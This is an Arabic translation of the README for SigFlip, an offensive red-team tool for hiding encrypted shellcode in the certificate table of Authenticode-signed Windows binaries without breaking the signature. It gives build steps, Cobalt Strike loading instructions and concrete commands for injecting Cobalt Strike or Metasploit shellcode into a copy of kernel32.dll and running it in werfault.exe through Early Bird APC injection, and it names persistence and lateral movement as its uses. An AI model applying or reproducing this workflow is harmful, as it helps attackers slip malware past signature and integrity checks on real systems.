
SigFlip هي أداة لتعديل ملفات PE الموقعة بتقنية Authenticode (exe, dll, sys ..إلخ) دون إبطال أو كسر التوقيع الحالي.
SigFlip هي أداة لتعديل ملفات PE الموقعة بتوقيع Authenticode (exe، dll، sys .. إلخ) بطريقة لا تؤثر أو تكسر التوقيع الرقمي الحالي. بمعنى آخر، يمكنك تغيير checksum/hash لملف PE عن طريق تضمين بيانات (مثل shellcode) دون كسر توقيع الملف أو فحوصات التكامل أو وظيفة ملف PE.
يقوم SigInject بتشفير وحقن shellcode في جدول الشهادات [WIN_CERTIFICATE] لملف PE، ويتم طباعة مفتاح التشفير لاستخدامه مع أداة تحميل أساسية BOF/C/C# (SigLoader). يحفظ SigInject التغييرات في ملف PE معدل مع الحفاظ على توقيعه وصحة شهادته.
SigLoader هو محمل أساسي يأخذ مسار ملف PE معدل تم إنشاؤه بواسطة SigInject ومفتاح فك التشفير كمعاملات، ثم يستخرج ويفك تشفير shellcode المضمن لاستخدامه مع حقن shellcode من اختيارك.
سيتحقق SigFlip مما إذا تم تغيير hash ملف PE بنجاح، وسيخرج بأمان في حالة كانت نقاط النهاية محصنة ضد هذا النوع من سوء التكوين الشائع. (راجع قسم "التفاصيل").
ملاحظة سريعة: تتوفر SigFlip و SigInject و SigLoader كبرامج نصية BOF وتجميعات .NET. الفرق الوحيد هو أن وظيفة SigInject منفذة كجزء من SigFlip (باستخدام العلم -i) في حال اخترت استخدام مخرجات .NET بدلاً من BOFs.
يمكن استخدامها بشكل أساسي للثبات، الحركة الجانبية أو تنفيذ الأوامر/الكود ويمكنها المساعدة في:
لا يتم توفير BOFs مجمعة مسبقًا في هذا المشروع، يمكن تجميعها باستخدام Mingw-w64. لـ .NET استخدم VS أو csc.exe لتجميع مشاريع .NET (SigFlip, SigLoader). لـ BOF راجع الخطوات أدناه;
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.oتأكد من وضع جميع ملفات الكائنات في نفس دليل sigflip.cna، ثم قم بتحميل script sigflip.cna إلى Cobalt Strike.
ملاحظة سريعة: تم اختبار BOFs المجمعة مسبقًا وهي متوافقة مع mingw-64 v8.0.0_3. استخدام mingw-64 >= v9 قد يعمل ولكن قد يؤدي إلى تعطل البيكونات النشطة، راجع https://github.com/med0x2e/SigFlip/issues/2 لمزيد من التفاصيل.
Execute-Assembly
execute-assembly SigFlip.exe -hexecute-assembly SigLoader -hBOF
SigFlip: تغيير hash لملف PE (DLL, EXE, SYS, OCX ..إلخ) دون كسر التوقيع أو صحة الشهادة:
SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"SigInject: تشفير وحقن shellcode في جدول الشهادات [WIN_CERTIFICATE] لملف PE، يتم طباعة مفتاح التشفير لاستخدامه مع محمل أساسي C/C# مع الحفاظ على صحة التوقيع والشهادة:
SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"SigLoader: تحميل shellcode المشفر من ملفات PE التي تم إنشاؤها بواسطة SigInject، ثم استخدام Early Bird queueuserapc لإنشاء/حقن shellcode في عملية تضحية. يمكن تخصيص منطق حقن shellcode أو استبداله بأي تقنية حقن كود أخرى من اختيارك:
SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>أمثلة
BOF:
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"هذه تقنية معروفة استخدمها APT#10 في عدة حملات أو مجموعات اختراق.
Authenticode هي تقنية توقيع كود من Microsoft تحدد ناشر البرنامج الموقع بـ Authenticode. يتحقق Authenticode أيضًا من عدم العبث بالبرنامج منذ توقيعه ونشره.
تعتمد Microsoft بشكل أساسي على تنسيق توقيع Authenticode للتحقق من سلامة وأصل ثنائيات PE. وفقًا لمواصفات تنسيق Authenticode Portable Executable، يمكن "تضمين" توقيعات Authenticode في ملف PE لنظام Windows، في موقع يحدده إدخال جدول الشهادات في Optional Header Data Directories. عند استخدام Authenticode لتوقيع ملف PE، يستثني الخوارزمية التي تحسب قيمة hash لتوقيع الملف بعض حقول PE. عند تضمين التوقيع في الملف، يمكن لعملية التوقيع تعديل هذه الحقول دون التأثير على قيمة hash للملف. هذه الحقول هي: الفحص checksum، RVA جدول الشهادات، حجم جدول الشهادات وجدول شهادات السمات (attribute certificate table). يحتوي جدول شهادات السمات على بنية PKCS #7 SignedData تحتوي على قيمة hash لملف PE، وتوقيع تم إنشاؤه بواسطة المفتاح الخاص لناشر البرنامج، وشهادات X.509 v3** التي تربط مفتاح توقيع ناشر البرنامج بكيان قانوني.
بمعنى بسيط، يمكننا تعديل أو تضمين بيانات في الحقول المستثناة من حساب hash التوقيع دون القلق بشأن كسر توقيع Authenticode وفحوصات سلامة الملف.
مزيد من التفاصيل حول هذه الحقول المستثناة:
RVA وحجم جدول الشهادات: يحتوي هيكل optional header لملف PE موقع على مصفوفة من دلائل البيانات بما في ذلك إدخال دليل الأمان IMAGE_DIRECTORY_ENTRY_SECURITY الذي يحتوي على حقلين، RVA و Size.
جدول شهادات السمات: هيكل بيانات WIN_CERTIFICATE الذي يغلف التوقيع والشهادات ويحتوي على الحقول التالية:
dwLength: حجم جدول الشهادات.wRevision: "مراجعة" WIN_CERTIFICATE.wCertificateType: نوع بيانات الشهادة المغلفة.bCertificate: بيانات الشهادة الفعلية. لـ WIN_CERT_TYPE_PKCS_SIGNED_DATA، هذه هي بنية PKCS#7 SignedData المذكورة أعلاه (والتي تحتوي على قيمة hash لـ PE، التوقيع وشهادة x.509)، هذا هو بالضبط المكان الذي يقوم فيه SigFlip بتضمين بيانات عشوائية أو shellcode.مع وضع كل ذلك في الاعتبار، يقوم SifFlip الآن بما يلي:
الخطوة الأولى أساسية لتأكيد ما إذا كان النظام غير مهيأ بشكل صحيح بطريقة تسمح بإضافة وحقن shellcode في ملفات PE الموقعة بـ Authenticode. لذلك، يتم إجراء الفحوصات التالية:
X86:
X64:
لا يقوم أداة تحميل Windows بتحميل بيانات الشهادة في مساحة عنوان العملية. هذا هو السبب في أنك بحاجة إلى محمل مخصص لاستخراج البيانات مثل shellcode واستخدامها (مثال: SigLoader). وهذا يشرح أيضًا سبب كون IMAGE_DIRECTORY_ENTRY_SECURITY إزاحة ملف بدلاً من إزاحة ذاكرة نموذجية.
SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300Execute-Assembly:
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exeexecute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKeyexecute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354